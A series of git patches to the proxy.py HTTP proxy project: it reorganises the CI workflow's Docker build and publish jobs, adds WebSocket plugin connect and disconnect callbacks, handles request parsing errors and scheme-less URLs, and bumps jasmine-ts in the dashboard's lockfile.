ref: ${{ github.event.inputs.release-commitish }} + - name: Download all the dists + uses: actions/download-artifact@v2 + with: + name: python-package-distributions + path: dist/ + - name: Set up Docker Buildx + id: buildx + uses: docker/setup-buildx-action@v1 + # See https://github.com/docker/buildx/issues/850#issuecomment-996408167 + with: + version: v0.7.0 + buildkitd-flags: --debug + config: .github/buildkitd.toml + install: true + - name: Enable Multiarch # This slows down arm build by 4-5x + run: | + docker run --rm --privileged multiarch/qemu-user-static --reset -p yes + - name: Create builder + run: | + docker buildx create --name proxypybuilder + docker buildx use proxypybuilder + docker buildx inspect + docker buildx ls + - name: Build, run & test container + run: >- + CONTAINER_TAG="abhinavsingh/proxy.py:${{ + needs.pre-setup.outputs.container-version + }}"; + docker buildx build + --load + --build-arg PROXYPY_PKG_PATH='dist/${{ + needs.pre-setup.outputs.wheel-artifact-name + }}' + -t $CONTAINER_TAG . + && + docker run + -d + -p 8899:8899 + $CONTAINER_TAG + --hostname 0.0.0.0 + --enable-web-server + && + ./tests/integration/test_integration.sh 8899 + analyze: runs-on: ubuntu-latest name: 🛡️ Analyze @@ -672,34 +732,15 @@ jobs: make ca-certificates python3 -m proxy --version - check: # This job does nothing and is only used for the branch protection - if: always() - - needs: - - analyze - - test - - lint - - dashboard - - brew - - developer - - runs-on: Ubuntu-latest - - steps: - - name: Decide whether the needed jobs succeeded or failed - uses: re-actors/alls-green@release/v1 - with: - jobs: ${{ toJSON(needs) }} - - docker: + ghcr-latest: runs-on: Ubuntu-latest permissions: packages: write if: success() needs: - - check + - test-container - pre-setup # transitive, for accessing settings - name: 🐳 containerize + name: 🐳 ghcr:latest strategy: fail-fast: false steps: @@ -736,26 +777,6 @@ jobs: docker buildx use proxypybuilder docker buildx inspect docker buildx ls - - name: Build, run & test container - run: >- - CONTAINER_TAG="abhinavsingh/proxy.py:${{ - needs.pre-setup.outputs.container-version - }}"; - docker buildx build - --load - --build-arg PROXYPY_PKG_PATH='dist/${{ - needs.pre-setup.outputs.wheel-artifact-name - }}' - -t $CONTAINER_TAG . - && - docker run - -d - -p 8899:8899 - $CONTAINER_TAG - --hostname 0.0.0.0 - --enable-web-server - && - ./tests/integration/test_integration.sh 8899 - name: Push to GHCR run: >- REGISTRY_URL="ghcr.io/abhinavsingh/proxy.py"; @@ -794,6 +815,52 @@ jobs: needs.pre-setup.outputs.wheel-artifact-name }}' -t $LATEST_TAG . + + ghcr-openssl: + runs-on: Ubuntu-latest + permissions: + packages: write + if: success() + needs: + - test-container + - pre-setup # transitive, for accessing settings + name: 🐳 ghcr:openssl + strategy: + fail-fast: false + steps: + - name: Checkout + uses: actions/checkout@v2 + with: + ref: ${{ github.event.inputs.release-commitish }} + - name: Download all the dists + uses: actions/download-artifact@v2 + with: + name: python-package-distributions + path: dist/ + - name: Login to GHCR + uses: docker/login-action@v1 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + - name: Set up Docker Buildx + id: buildx + uses: docker/setup-buildx-action@v1 + # See https://github.com/docker/buildx/issues/850#issuecomment-996408167 + with: + version: v0.7.0 + buildkitd-flags: --debug + config: .github/buildkitd.toml + install: true + - name: Enable Multiarch # This slows down arm build by 4-5x + run: | + docker run --rm --privileged multiarch/qemu-user-static --reset -p yes + - name: Create builder + run: | + docker buildx create --name proxypybuilder + docker buildx use proxypybuilder + docker buildx inspect + docker buildx ls - name: Push openssl to GHCR run: >- REGISTRY_URL="ghcr.io/abhinavsingh/proxy.py"; @@ -830,6 +897,46 @@ jobs: needs.pre-setup.outputs.wheel-artifact-name }}' -t $LATEST_TAG . + + docker-latest: + runs-on: Ubuntu-latest + permissions: + packages: write + if: success() + needs: + - test-container + - pre-setup # transitive, for accessing settings + name: 🐳 docker:latest + strategy: + fail-fast: false + steps: + - name: Checkout + uses: actions/checkout@v2 + with: + ref: ${{ github.event.inputs.release-commitish }} + - name: Download all the dists + uses: actions/download-artifact@v2 + with: + name: python-package-distributions + path: dist/ + - name: Set up Docker Buildx + id: buildx + uses: docker/setup-buildx-action@v1 + # See https://github.com/docker/buildx/issues/850#issuecomment-996408167 + with: + version: v0.7.0 + buildkitd-flags: --debug + config: .github/buildkitd.toml + install: true + - name: Enable Multiarch # This slows down arm build by 4-5x + run: | + docker run --rm --privileged multiarch/qemu-user-static --reset -p yes + - name: Create builder + run: | + docker buildx create --name proxypybuilder + docker buildx use proxypybuilder + docker buildx inspect + docker buildx ls - name: Login to DockerHub uses: docker/login-action@v1 with: @@ -853,6 +960,28 @@ jobs: }}' -t $CONTAINER_TAG . + check: # This job does nothing and is only used for the branch protection + if: always() + + needs: + - analyze + - test + - lint + - dashboard + - brew + - developer + - ghcr-latest + - ghcr-openssl + - docker-latest + + runs-on: Ubuntu-latest + + steps: + - name: Decide whether the needed jobs succeeded or failed + uses: re-actors/alls-green@release/v1 + with: + jobs: ${{ toJSON(needs) }} + publish-pypi: name: Publish 🐍📦 ${{ needs.pre-setup.outputs.git-tag }} to PyPI needs: From 1dba7f053cff2845543738c820d5909b59d100ac Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Mon, 10 Jan 2022 22:00:08 +0530 Subject: [PATCH 17/38] Invoke `WebSocketTransportBasePlugin` connected and disconnected callbacks (#956) --- proxy/http/proxy/server.py | 6 +++--- proxy/http/websocket/transport.py | 19 +++++++++++-------- 2 files changed, 14 insertions(+), 11 deletions(-) diff --git a/proxy/http/proxy/server.py b/proxy/http/proxy/server.py index ba87bb2e8f..a3a2dd4cf0 100644 --- a/proxy/http/proxy/server.py +++ b/proxy/http/proxy/server.py @@ -316,11 +316,11 @@ def on_client_connection_close(self) -> None: # Request 'request_method': text_(self.request.method), 'request_path': text_(self.request.path), - 'request_bytes': self.request.total_size, - 'request_ua': self.request.header(b'user-agent') + 'request_bytes': text_(self.request.total_size), + 'request_ua': text_(self.request.header(b'user-agent')) if self.request.has_header(b'user-agent') else None, - 'request_version': self.request.version, + 'request_version': text_(self.request.version), # Response 'response_bytes': self.response.total_size, 'response_code': text_(self.response.code), diff --git a/proxy/http/websocket/transport.py b/proxy/http/websocket/transport.py index 07a8328a01..b18a8064e0 100644 --- a/proxy/http/websocket/transport.py +++ b/proxy/http/websocket/transport.py @@ -28,12 +28,15 @@ class WebSocketTransport(HttpWebServerBasePlugin): def __init__(self, *args: Any, **kwargs: Any) -> None: super().__init__(*args, **kwargs) - self.plugins: Dict[str, WebSocketTransportBasePlugin] = {} + self.plugins: List[WebSocketTransportBasePlugin] = [] + # Registered methods and handler plugin + self.methods: Dict[str, WebSocketTransportBasePlugin] = {} if b'WebSocketTransportBasePlugin' in self.flags.plugins: for klass in self.flags.plugins[b'WebSocketTransportBasePlugin']: p = klass(self.flags, self.client, self.event_queue) + self.plugins.append(p) for method in p.methods(): - self.plugins[method] = p + self.methods[method] = p def routes(self) -> List[Tuple[int, str]]: return [ @@ -44,8 +47,8 @@ def handle_request(self, request: HttpParser) -> None: raise NotImplementedError() def on_websocket_open(self) -> None: - # TODO(abhinavsingh): Add connected callback invocation - logger.info('app ws opened') + for plugin in self.plugins: + plugin.connected() def on_websocket_message(self, frame: WebsocketFrame) -> None: try: @@ -59,16 +62,16 @@ def on_websocket_message(self, frame: WebsocketFrame) -> None: method = message['method'] if method == 'ping': self.reply({'id': message['id'], 'response': 'pong'}) - elif method in self.plugins: - self.plugins[method].handle_message(message) + elif method in self.methods: + self.methods[method].handle_message(message) else: logger.info(frame.data) logger.info(frame.opcode) self.reply({'id': message['id'], 'response': 'not_implemented'}) def on_client_connection_close(self) -> None: - # TODO(abhinavsingh): Add disconnected callback invocation - logger.info('app ws closed') + for plugin in self.plugins: + plugin.disconnected() def reply(self, data: Dict[str, Any]) -> None: self.client.queue( From 01bfc7dc30d12ee5b66e09c12593c50294c2d252 Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Tue, 11 Jan 2022 02:27:19 +0530 Subject: [PATCH 18/38] [HttpProtocolHandler] Handle invalid request parsing exceptions (#957) * Handle invalid request parsing exception when raised, log the bytes for later inspection * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- proxy/http/handler.py | 8 +++++++- proxy/http/inspector/inspect_traffic.py | 18 ++++-------------- proxy/http/url.py | 11 ++++++++--- tests/http/test_url.py | 9 +++++++++ 4 files changed, 28 insertions(+), 18 deletions(-) diff --git a/proxy/http/handler.py b/proxy/http/handler.py index 45127290f4..8193255c47 100644 --- a/proxy/http/handler.py +++ b/proxy/http/handler.py @@ -302,7 +302,13 @@ def _parse_first_request(self, data: memoryview) -> bool: # # TODO(abhinavsingh): Remove .tobytes after parser is # memoryview compliant - self.request.parse(data.tobytes()) + try: + self.request.parse(data.tobytes()) + except Exception as exc: + logger.exception('Error parsing the request', exc_info=exc) + raise HttpProtocolException( + 'Error when parsing request: %s' % data.tobytes().decode('utf-8'), + ) if not self.request.is_complete: return False # Discover which HTTP handler plugin is capable of diff --git a/proxy/http/inspector/inspect_traffic.py b/proxy/http/inspector/inspect_traffic.py index 4c646974e2..456626d97a 100644 --- a/proxy/http/inspector/inspect_traffic.py +++ b/proxy/http/inspector/inspect_traffic.py @@ -39,20 +39,10 @@ def handle_message(self, message: Dict[str, Any]) -> None: if message['method'] == 'enable_inspection': # inspection can only be enabled if --enable-events is used if not self.flags.enable_events: - self.client.queue( - memoryview( - WebsocketFrame.text( - bytes_( - json.dumps( - { - 'id': message['id'], - 'response': 'not enabled', - }, - ), - ), - ), - ), - ) + self.reply({ + 'id': message['id'], + 'response': 'not enabled', + }) else: self.subscriber.setup() self.reply( diff --git a/proxy/http/url.py b/proxy/http/url.py index 9a5db36611..fc06412b0f 100644 --- a/proxy/http/url.py +++ b/proxy/http/url.py @@ -74,14 +74,19 @@ def from_bytes(cls, raw: bytes) -> 'Url': We use heuristics based approach for our URL parser. """ - if raw[0] == 47: # SLASH == 47 + # SLASH == 47, check if URL starts with single slash but not double slash + is_single_slash = raw[0] == 47 + is_double_slash = is_single_slash and len(raw) >= 2 and raw[1] == 47 + if is_single_slash and not is_double_slash: return cls(remainder=raw) is_http = raw.startswith(HTTP_URL_PREFIX) is_https = raw.startswith(HTTPS_URL_PREFIX) - if is_http or is_https: + if is_http or is_https or is_double_slash: rest = raw[len(b'https://'):] \ if is_https \ - else raw[len(b'http://'):] + else raw[len(b'http://'):] \ + if is_http \ + else raw[len(SLASH + SLASH):] parts = rest.split(SLASH, 1) username, password, host, port = Url._parse(parts[0]) return cls( diff --git a/tests/http/test_url.py b/tests/http/test_url.py index a640f74cf3..0cfb8c667a 100644 --- a/tests/http/test_url.py +++ b/tests/http/test_url.py @@ -134,3 +134,12 @@ def test_username_password_without_proto_prefix(self) -> None: self.assertEqual(url.remainder, None) self.assertEqual(url.username, b'user') self.assertEqual(url.password, b'pass') + + def test_no_scheme_suffix(self) -> None: + url = Url.from_bytes(b'//example-server.net/server?arg=87') + self.assertEqual(url.scheme, b'http') + self.assertEqual(url.hostname, b'example-server.net') + self.assertEqual(url.port, None) + self.assertEqual(url.remainder, b'/server?arg=87') + self.assertEqual(url.username, None) + self.assertEqual(url.password, None) From 67bf0493fb865ec2a53afd534c33a15bc8520db0 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 11 Jan 2022 14:16:37 +0530 Subject: [PATCH 19/38] npm: bump jasmine-ts from 0.3.0 to 0.4.0 in /dashboard (#958) Bumps [jasmine-ts](https://github.com/svi3c/jasmine-ts) from 0.3.0 to 0.4.0. - [Release notes](https://github.com/svi3c/jasmine-ts/releases) - [Changelog](https://github.com/svi3c/jasmine-ts/blob/master/CHANGELOG.md) - [Commits](https://github.com/svi3c/jasmine-ts/commits/v0.4.0) --- updated-dependencies: - dependency-name: jasmine-ts dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- dashboard/package-lock.json | 1114 +++++++++++------------------------ dashboard/package.json | 2 +- 2 files changed, 329 insertions(+), 787 deletions(-) diff --git a/dashboard/package-lock.json b/dashboard/package-lock.json index e42c951d8a..f6ebf9b290 100644 --- a/dashboard/package-lock.json +++ b/dashboard/package-lock.json @@ -23,7 +23,7 @@ "eslint-plugin-standard": "^5.0.0", "http-server": "^14.0.0", "jasmine": "^4.0.0", - "jasmine-ts": "^0.3.0", + "jasmine-ts": "^0.4.0", "jquery": "^3.6.0", "js-cookie": "^3.0.1", "jsdom": "^15.2.1", @@ -683,15 +683,6 @@ "node": ">=6" } }, - "node_modules/camelcase": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", - "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, "node_modules/caseless": { "version": "0.12.0", "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", @@ -752,37 +743,49 @@ "dev": true }, "node_modules/cliui": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", - "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", "dev": true, "dependencies": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wrap-ansi": "^2.0.0" + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "node_modules/cliui/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" } }, "node_modules/cliui/node_modules/string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", "dev": true, "dependencies": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" }, "engines": { - "node": ">=0.10.0" + "node": ">=8" } }, - "node_modules/code-point-at": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", - "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", + "node_modules/cliui/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, "engines": { - "node": ">=0.10.0" + "node": ">=8" } }, "node_modules/color-convert": { @@ -856,17 +859,6 @@ "node": ">= 0.4.0" } }, - "node_modules/cross-spawn": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz", - "integrity": "sha1-6L0O/uWPz/b4+UUQoKVUu/ojVEk=", - "dev": true, - "dependencies": { - "lru-cache": "^4.0.1", - "shebang-command": "^1.2.0", - "which": "^1.2.9" - } - }, "node_modules/crypt": { "version": "0.0.2", "resolved": "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz", @@ -932,15 +924,6 @@ "ms": "^2.1.1" } }, - "node_modules/decamelize": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", - "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/deep-is": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", @@ -1044,15 +1027,6 @@ "iconv-lite": "~0.4.13" } }, - "node_modules/error-ex": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", - "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", - "dev": true, - "dependencies": { - "is-arrayish": "^0.2.1" - } - }, "node_modules/es-abstract": { "version": "1.19.1", "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.19.1.tgz", @@ -1104,6 +1078,15 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, "node_modules/escape-string-regexp": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", @@ -1642,15 +1625,6 @@ "node": ">=8" } }, - "node_modules/eslint/node_modules/is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true, - "engines": { - "node": ">=8" - } - }, "node_modules/eslint/node_modules/mimic-fn": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", @@ -1899,24 +1873,6 @@ "integrity": "sha512-qerSRB0p+UDEssxTtm6EDKcE7W4OaoisfIMl4CngyEhjpYglocpNg6UEqCvemdGhosAsg4sO2dXJOdyBifPGCg==", "dev": true }, - "node_modules/execa": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/execa/-/execa-0.7.0.tgz", - "integrity": "sha1-lEvs00zEHuMqY6n68nrVpl/Fl3c=", - "dev": true, - "dependencies": { - "cross-spawn": "^5.0.1", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, "node_modules/extend": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", @@ -2097,10 +2053,13 @@ "dev": true }, "node_modules/get-caller-file": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.3.tgz", - "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==", - "dev": true + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } }, "node_modules/get-intrinsic": { "version": "1.1.1", @@ -2116,15 +2075,6 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/get-stream": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", - "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=", - "dev": true, - "engines": { - "node": ">=4" - } - }, "node_modules/get-symbol-description": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz", @@ -2416,12 +2366,6 @@ "he": "bin/he" } }, - "node_modules/hosted-git-info": { - "version": "2.8.9", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", - "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", - "dev": true - }, "node_modules/html-encoding-sniffer": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-1.0.2.tgz", @@ -2651,15 +2595,6 @@ "node": ">= 0.4" } }, - "node_modules/invert-kv": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", - "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/ip-regex": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz", @@ -2669,12 +2604,6 @@ "node": ">=4" } }, - "node_modules/is-arrayish": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", - "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=", - "dev": true - }, "node_modules/is-bigint": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz", @@ -2758,15 +2687,12 @@ } }, "node_modules/is-fullwidth-code-point": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", - "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", "dev": true, - "dependencies": { - "number-is-nan": "^1.0.0" - }, "engines": { - "node": ">=0.10.0" + "node": ">=8" } }, "node_modules/is-glob": { @@ -2928,23 +2854,20 @@ "dev": true }, "node_modules/jasmine-ts": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/jasmine-ts/-/jasmine-ts-0.3.0.tgz", - "integrity": "sha512-K5joodjVOh3bnD06CNXC8P5htDq/r0Rhjv66ECOpdIGFLly8kM7V+X/GXcd9kv+xO+tIq3q9Y8B5OF6yr/iiDw==", + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/jasmine-ts/-/jasmine-ts-0.4.0.tgz", + "integrity": "sha512-bIAWJKUwxfuZfGI1ctEbny7+dsyFzsN0eLzOokxh0qIUCofai2WUEKoe3MMllkGEBXJzbEVYr2IyhJBv4j7SBA==", "dev": true, "dependencies": { - "yargs": "^8.0.2" + "yargs": "^17.0.1" }, "bin": { "jasmine-ts": "lib/index.js" }, - "engines": { - "node": ">= 5.12" - }, "peerDependencies": { - "jasmine": ">= 2.0", - "ts-node": ">=3.2.0 <8", - "typescript": ">=2.4.1" + "jasmine": ">=3.4", + "ts-node": ">=3.2.0 <=11", + "typescript": ">=3.5.2" } }, "node_modules/javascript-obfuscator": { @@ -3465,18 +3388,6 @@ "verror": "1.10.0" } }, - "node_modules/lcid": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", - "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", - "dev": true, - "dependencies": { - "invert-kv": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/levn": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", @@ -3490,21 +3401,6 @@ "node": ">= 0.8.0" } }, - "node_modules/load-json-file": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-2.0.0.tgz", - "integrity": "sha1-eUfkIUmvgNaWy/eXvKq8/h/inKg=", - "dev": true, - "dependencies": { - "graceful-fs": "^4.1.2", - "parse-json": "^2.2.0", - "pify": "^2.0.0", - "strip-bom": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, "node_modules/locate-path": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", @@ -3530,16 +3426,6 @@ "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=", "dev": true }, - "node_modules/lru-cache": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", - "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", - "dev": true, - "dependencies": { - "pseudomap": "^1.0.2", - "yallist": "^2.1.2" - } - }, "node_modules/make-error": { "version": "1.3.5", "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.5.tgz", @@ -3557,18 +3443,6 @@ "is-buffer": "~1.1.1" } }, - "node_modules/mem": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/mem/-/mem-1.1.0.tgz", - "integrity": "sha1-Xt1StIXKHZAP5kiVUFOZoN+kX3Y=", - "dev": true, - "dependencies": { - "mimic-fn": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, "node_modules/merge2": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", @@ -3693,39 +3567,6 @@ "is-stream": "^1.0.1" } }, - "node_modules/normalize-package-data": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", - "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", - "dev": true, - "dependencies": { - "hosted-git-info": "^2.1.4", - "resolve": "^1.10.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" - } - }, - "node_modules/npm-run-path": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", - "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", - "dev": true, - "dependencies": { - "path-key": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/number-is-nan": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", - "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/nwsapi": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.0.tgz", @@ -3921,20 +3762,6 @@ "node": ">= 0.8.0" } }, - "node_modules/os-locale": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-2.1.0.tgz", - "integrity": "sha512-3sslG3zJbEYcaC4YVAvDorjGxc7tv6KVATnLPZONiljsUncvihe9BQoVCEs0RZ1kmf4Hk9OBqlZfJZWI4GanKA==", - "dev": true, - "dependencies": { - "execa": "^0.7.0", - "lcid": "^1.0.0", - "mem": "^1.1.0" - }, - "engines": { - "node": ">=4" - } - }, "node_modules/os-tmpdir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", @@ -3944,15 +3771,6 @@ "node": ">=0.10.0" } }, - "node_modules/p-finally": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", - "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=", - "dev": true, - "engines": { - "node": ">=4" - } - }, "node_modules/p-limit": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz", @@ -3998,18 +3816,6 @@ "node": ">=6" } }, - "node_modules/parse-json": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz", - "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", - "dev": true, - "dependencies": { - "error-ex": "^1.2.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/parse5": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/parse5/-/parse5-5.1.0.tgz", @@ -4049,18 +3855,6 @@ "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", "dev": true }, - "node_modules/path-type": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-2.0.0.tgz", - "integrity": 